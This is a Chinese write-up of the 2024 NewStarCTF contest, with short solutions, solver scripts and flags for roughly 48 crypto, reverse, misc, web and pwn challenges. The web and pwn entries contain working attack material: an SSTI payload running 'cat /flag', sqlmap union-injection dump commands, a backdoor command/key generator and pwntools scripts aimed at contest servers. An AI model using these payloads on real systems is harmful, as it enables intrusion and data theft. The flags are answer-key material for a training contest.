2024 NewStarCTF
1 Misc 兑换码
操作内容:
题目提示就在图片下面
PuzzleSolver直接修复图片
flag值:
flag{La_vaguelette}
2 Crypto Base
操作内容:
CyberChef一把梭,没什么好说的
flag值:
flag{B@sE_0f_CrYpt0_N0W}
3 Crypto 一眼秒了
操作内容:
Factordb分解n,得到pq,pdec直接出
如该题使用自己编写的脚本代码请详细写出,不允许截图
from Crypto.Util.number import * from gmpy2 import * # from serct import flag p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421 q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093 n = p*q phi =(p-1)*(q-1) # m = bytes_to_long(flag) e = 65537 d=inverse(e,phi) c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 m=powmod(c, d, n) # print(n) print(long_to_bytes(m)) # 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 # 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 |
---|
flag值:
flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}
4 Reverse begin
操作内容:
IDA x64打开,F5看伪代码
根据说明找到flag1 flag2
并提示了part3位置,part3+}=flag
flag值:
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
5 Crypto xor
操作内容:
简单的异或,使用密钥解密c1和c2再拼接
如该题使用自己编写的脚本代码请详细写出,不允许截图
from pwn import xor from Crypto.Util.number import bytes_to_long, long_to_bytes key = b’New_Star_CTF’ c1 = 8091799978721254458294926060841 c2 = b’;:\x1c1<\x03>*\x10\x11u;’ # 反向XOR m1_recovered = c1 ^ bytes_to_long(key) m2_recovered = xor(key, c2) # 转换m1_recovered为字节 m1_recovered_bytes = long_to_bytes(m1_recovered) # 拼接得到完整的flag flag_recovered = m1_recovered_bytes + m2_recovered print(flag_recovered) |
---|
flag值:
flag{0ops!_you_know_XOR!}
6 Reverse base64
操作内容:
简单的base64换表,映射表和结果都给了,直接解
如该题使用自己编写的脚本代码请详细写出,不允许截图
import base64 str1 = “g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=” string1 = “WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/“ string2 = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/“ a=str1.translate(str.maketrans(string1,string2)) print(base64.b64decode(a)) |
---|
flag值:
flag{y0u_kn0w_base64_well}
7 Pwn Real Login
操作内容:
IDA逆向一下得到password直接进去cat flag
flag{5d405177-f660-4260-9ef6-3778b318efb6}
flag值:
flag{5d405177-f660-4260-9ef6-3778b318efb6}
8 Reverse Simple_encryption
操作内容:
IDA F5直接看main函数加密伪代码,取对比的加密后内容buffer进行解密
对输入字符的处理分为三种情况:
当索引 j 是 0 (mod 3) 时,输入字符会减去 31。
当索引 j 是 1 (mod 3) 时,输入字符会加上 41。
当索引 j 是 2 (mod 3) 时,输入字符会进行异或操作,使用 0x55。
根据以上逻辑编写代码逆向解密flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
buffer = [ 0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28 ] flag = [] for k in range(len(buffer)): if k % 3 == 0: value = buffer[k] + 31 elif k % 3 == 1: value = buffer[k] - 41 elif k % 3 == 2: value = buffer[k] ^ 0x55 flag.append(value) flag_chars = ‘’.join(chr(b) for b in flag) print(flag_chars) |
---|
flag值:
flag{IT_15_R3Al1y_V3Ry-51Mp1e}
9 Web headach3
操作内容:
Bp发包,flag直接在响应头
flag值:
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
10 Misc Labyrinth
操作内容:
Stegsolve Red 0得到一个二维码
扫描得到flag
flag值:
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
11 Misc pleasingMusic
操作内容:
Audacity打开,发现后半部分存在摩斯密码,结合题目中的正反都好听,从后往前翻译出明文
flag值:
flag{ez_morse_code}
12 Misc WhereIsFlag
操作内容:
读取/proc/self/environ中的当前环境变量
flag值:
flag{9b398734-2b58-4fb3-803a-afa58f100fc8}
13 Misc decompress
操作内容:
解压几层后提示^([a-z]){3}\d[a-z]$,及3个a-z字母+1个数字+一个a-z字母(懒得用hashcat,直接上ARCRPR了)
解压得到flag
flag值:
flag{U_R_th3_ma5ter_0f_dec0mpress}
14 Crypto Strange King
操作内容:
提示5 皇帝 每天进步,可知是凯撒位移5开始,随波逐流解密分析发现是5-7-11-1……
编写代码进行解密得到flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
def custom_caesar_decrypt(ciphertext): decrypted = “” shift_values = [5,7,9,11,13,15,17,19,21,23,25,1,3] # 定义位移模式 for i, char in enumerate(ciphertext): if char.isalpha(): shift = shift_values[i % len(shift_values)] shifted = ord(char) - shift if char.islower(): if shifted < ord(‘a’): shifted += 26 elif char.isupper(): if shifted < ord(‘A’): shifted += 26 decrypted += chr(shifted) else: decrypted += char return decrypted ciphertext = “ksjr{EcxvpdErSvcDgdgEzxqjql}” decrypted_text = custom_caesar_decrypt(ciphertext) print(decrypted_text) |
---|
flag值:
flag{PleaseDoNotStopLearing}
15 Signin ez_answer
操作内容:
问卷85分即可得到flag
flag值:
flag{I_Agr3e_to_FoL10w_th3_ru1es_c41fa97d}
16 Reverse ezAndroidStudy
操作内容:
5各部分分别给了提示,根据提示操作,前4部分使用MT得到,第五部分IDA反编译so直接出
Flag1:
DEX编辑后进行搜索
Flag2:
Arsc编辑
Flag3:
Flag4:
Flag5:
So扔进IDA Shift+F12
flag值:
flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
17 Reverse ez_debug
操作内容:
X64dbg断点直接出
flag值:
flag{y0u_ar3_g0od_@_Debu9}
18 Web 智械危机
操作内容:
题目提示看robots.txt,得到backdoor.php
对比key是否为cmd翻转后md5再b64的结果,cmd为b64编码的命令
如该题使用自己编写的脚本代码请详细写出,不允许截图
<?php $cmd = “cat /flag”; $encoded_cmd = base64_encode($cmd); // Base64编码 // 反转命令 $reversed_cmd = strrev($encoded_cmd); // 计算MD5哈希 $hashed_reversed_cmd = md5($reversed_cmd); // 进行Base64编码 $key = base64_encode($hashed_reversed_cmd); echo “cmd=$encoded_cmd&key=$key”; ?> |
---|
flag值:
flag{96789279-20ad-4ad4-a09a-65a6a6e1f567}
19 Web 谢谢皮蛋
操作内容:
Hint.php提示联合注入,sqlmap一把梭
最终获取flag的命令:sqlmap -l sql.txt –tamper base64encode.py –batch –technique U -D ctf -T Fl4g -C value –dump
flag值:
flag{15eda1e9-9dc8-4176-bd47-aa55423fc12e}
20 Pwn Game
操作内容:
IDA打开分析,发现在5秒内输入数字和>999即可获取shell,使用pwntools进行输入
如该题使用自己编写的脚本代码请详细写出,不允许截图
from pwn import * p=remote(“101.200.139.65”,31483) for i in range(100): p.sendline(b”10”) p.interactive() |
---|
flag值:
flag{4cb9b6f9-ae7f-427f-bef4-2f9799da9920}
21 Web 会赢吗
操作内容:
第一部分F12
第二部分提示console直接console执行js
第三部分改csrf_token
第四部分发现noscript,和第三步操作一样
CyberChef解密得到flag
flag值:
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
22 Web PangBai 过家家(1)
操作内容:
Start给了一个location,访问进level2
Level2提示ask=miao,get传参进level3
POST传参进level4,改UA引擎为Papa,提示有什么想说的,再提示试着说「玛卡巴卡阿卡哇卡米卡玛卡呣」,然后成功进level5
Level5,搞了半天file终于成功了
Level6 XFF,提示jwt,直接改个level 100,然后404了(
再改level 7也是404,level0出东西了
flag值:
flag{d50dbc2b-11ce-44ce-a2b5-aaf6634f89c0}
23 Pwn overwrite
操作内容:
将nbytes传入-1(0xFFFFFFFF),可以读取4GB的数据
nbytes_4栈大小为0x30,填充0x30个字节后,可以覆写bptr的栈
atoi函数能够处理的最大值为2^31-1(INT_MAX)。如果超出范围,atoi会返回未定义的结果
通过传入负数绕过长度限制,再输入0x30+0x6个9即可成功读取flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
from pwn import * p = remote(“101.200.139.65”, 30899) p.recvuntil(b’pls input the length you want to readin: ‘) p.sendline(b’-1’) payload = b”9” * 0x30 + b”9” * 0x6 payload += b’\n’ p.recvuntil(b’pls input want you want to say: ‘) p.send(payload) output = p.recvall(timeout=1) print(output) |
---|
flag值:
flag{fe982009-f8db-4a76-a5c6-f5085c7dd7b8}
24 Pwn gdb
操作内容:
简单加密比较判断
如该题使用自己编写的脚本代码请详细写出,不允许截图
from pwn import * p=remote(“8.147.132.32”,32942) p.recvuntil(b”Input your encrypted data: “) p.send(b”\x5D\x1D\x43\x55\x53\x45\x57\x45\n”) output = p.recvall(timeout=1) print(output) |
---|
flag值:
flag{ade7cc1b-1f03-49d1-805c-02196f2a5cbb}
25 Misc wireshark_checkin
操作内容:
tcp contains “flag”直接出
flag值:
flag{ez_traffic_analyze_isn’t_it}
26 Misc wireshark_secret
操作内容:
http只有一图片,存下来直接是flag
flag值:
flag{you_are_gooddddd}
27 Misc 热心助人的小明同学
操作内容:
PasswareKitForensic一把梭
flag值:
flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}
28 Misc 字里行间的秘密
操作内容:
Key.txt提示0宽,解密出key
打开doc,Ctrl+A换颜色得到flag
flag值:
flag{you_h4ve_4nyth1n9}
29 Misc 用溯流仪见证伏特台风
操作内容:
直接搜
flag值:
flag{6c3ea51b6f9d4f5e}
30 Misc Herta’s Study
操作内容:
邪恶的题目,真flag在中间
简单加密
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
}
}
return $ns;
将假flag>>flag.txt
f.txt是真flag
解密flag
<?php function reverseEncryption($ns) { // 先解密 ROT13 for ($i = 0; $i < strlen($ns); $i++) { if ($i % 2 == 1) { $ns[$i] = str_rot13($ns[$i]); } } return base64_decode($ns); } // 使用示例 $encryptedString = ‘ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==’; $decryptedString = reverseEncryption($encryptedString); echo $decryptedString; |
---|
flag值:
flag{sH3_i4_S0_6eAut1fuL.}
31 Misc 你也玩原神吗
操作内容:
GIF帧提取,然后提瓦特大陆文字对照,栅栏解密(3),可恶的原神
flag值:
flag{maybegenshinisagoodgame}
32 Crypto 这是几次方? 疑惑!
操作内容:
factordb分解,pqec直接出,非预期了应该(
如该题使用自己编写的脚本代码请详细写出,不允许截图
from Crypto.Util.number import * c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762 p = 9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541 q = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921 n = p*q e = 65537 phi = (p-1) *(q-1) d = inverse(e,phi) m = pow(c,d,n) print(long_to_bytes(m)) |
---|
flag值:
flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
33 Crypto Just one_and_more
操作内容:
c1 是模 p 的加密,使用 m1 ≡ c1^d1 (mod p) 来解密,c2 是模 N 的加密,使用 m2 ≡ c2^d2 (mod N) 解密
如该题使用自己编写的脚本代码请详细写出,不允许截图
from Crypto.Util.number import long_to_bytes, inverse e = 65537 p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133 q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393 r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371 c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451 c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445 phi_p = p - 1 d1 = inverse(e, phi_p) m1 = pow(c1, d1, p) N = p * q * r phi_N = (p - 1) * (q - 1) * (r - 1) d2 = inverse(e, phi_N) m2 = pow(c2, d2, N) flag1 = long_to_bytes(m1) flag2 = long_to_bytes(m2) flag = flag1 + flag2 print(flag) |
---|
flag值:
flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}
34 Crypto Since you konw something
操作内容:
已知flag头为flag,xor开头得到key,解密出flag
如该题使用自己编写的脚本代码请详细写出,不允许截图
from pwn import xor from Crypto.Util.number import * c = 218950457292639210021937048771508243745941011391746420225459726647571 cipher_bytes = long_to_bytes(c) known_prefix = b’flag’ key_length = len(known_prefix) key = xor(known_prefix, cipher_bytes[:key_length]) print(f”key: {key}”) flag = xor(cipher_bytes, key) print(flag) |
---|
flag值:
flag{Y0u_kn0w_th3_X0r_b3tt3r}
35 Web 你能在一秒内打出八句英文吗
操作内容:
考察python requests
如该题使用自己编写的脚本代码请详细写出,不允许截图
import re import requests session=requests.session() s=session.get(“http://eci-2ze4lt011y5epo26hpzm.cloudeci1.ichunqiu.com/start").text s=re.findall(r”<p id=\“text\“>([^\<]+)</p>“,s)[0] flag=session.post(“http://eci-2ze4lt011y5epo26hpzm.cloudeci1.ichunqiu.com/submit",data={"user_input“: s}).text print(flag) |
---|
flag值:
flag{037788c4-1420-460d-866c-7c14131270c8}
36 Web 遗失的拉链
操作内容:
下载源码发现pizwww.php
数组绕过检测,tac /f*读flag
flag值:
flag{7483bf65-d71b-4868-a6c3-84573de4c65a}
37 Web 复读机
操作内容:
SSTI fenjing一把梭
{'user_input': "{{((lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag')).read())}}"}
flag值:
flag{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
37 Misc BGM坏了吗?
操作内容:
Aud改声道,识别电话拨号音
flag值:
flag{2024093020241103}
38 Misc OSINT-MASTER
操作内容:
由图可知飞机是A321 B-2419
图片可知拍摄时间为20240818 14:30
查询航班历史可知航班号为MU5156,看飞行轨迹找几个中间的地方试一下就出来了济宁市
flag值:
flag{MU5156_济宁市}
39 Misc AmazingGame
操作内容:
MT反编译dex,字符常量直接看到base64和wow,cyberchef解密
flag值:
flag{U_W1n!!_7he_g@m4}
40 Crypto 故事新编1
操作内容:
维吉尼亚,出题人挨打,怎么多换行
明文扔回去跑一下
flag值:
flag{bda2bcf1eaeff7754a6483e74e70a937}
41 Crypto 故事新编2
操作内容:
Autokey Vigenere 明文扔回去跑一下
flag值:
flag{8bc383165248f2e45a6910960a61e6a8}
43 Web 谢谢皮蛋 plus
操作内容:
过滤空格,sqlmap加个绕空格继续嗦
sqlmap -l sql.txt –tamper space2comment.py,base64encode.py –batch –technique U -D ctf -T Fl4g -C value –dump
flag值:
flag{13887897-72a5-40e0-814c-b9fcc37c5916}
44 Web PangBai 过家家(2)
操作内容:
提示git泄露,flag在环境变量
flag值:
flag{e3896b60-9711-4651-bc0a-bcf719fc7924}
45 Crypto 茶里茶气
操作内容:
加料的tea加密,逆向解一下
如该题使用自己编写的脚本代码请详细写出,不允许截图
from Crypto.Util.number import long_to_bytes l = 199 p = 446302455051275584229157195942211 v0 = 190997821330413928409069858571234 v1 = 137340509740671759939138452113480 derta = 462861781278454071588539315363 v3 = 489552116384728571199414424951 v4 = 469728069391226765421086670817 v5 = 564098252372959621721124077407 v6 = 335640247620454039831329381071 v2 = (32 * derta) % p for i in range(32): v2 -= derta v2 %= p v0 -= (v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6) v0 %= p v1 -= (v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4) v1 %= p a_int = (v0 << (l // 2)) + v1 a_hex = hex(a_int)[2:] print(long_to_bytes(int(a_hex, 16))) |
---|
flag值:
flag{f14gg9_te2_1i_7ea_7}
46 Reverse UPX
操作内容:
Upx脱壳,IDA打开发现是RC4解密,key为NewStar
flag值:
flag{Do_you_know_UPX?}
47 Reverse Dirty_flowers
操作内容:
Create function,随便点点就出密文和key了
如该题使用自己编写的脚本代码请详细写出,不允许截图
enc = [2, 5, 19, 19, 2, 30, 83, 31, 92, 26, 39, 67, 29, 54, 67, 7, 38, 45, 85, 13, 3, 27, 28, 45, 2, 28, 28, 48, 56, 50, 85, 2, 27, 22, 84, 15] key = “dirty_flower” def decrypt(enc, key): return ‘’.join(chr(enc[i] ^ ord(key[i % len(key)])) for i in range(len(enc))) flag = decrypt(enc, key) print(flag) |
---|
flag值:
flag{A5s3mB1y_1s_r3ally_funDAm3nta1}
48 Reverse drink_tea
操作内容:
题目提示tea,直接找到密文和key解明文
flag值:
flag{There_R_TEA_XTEA_and_XXTEA}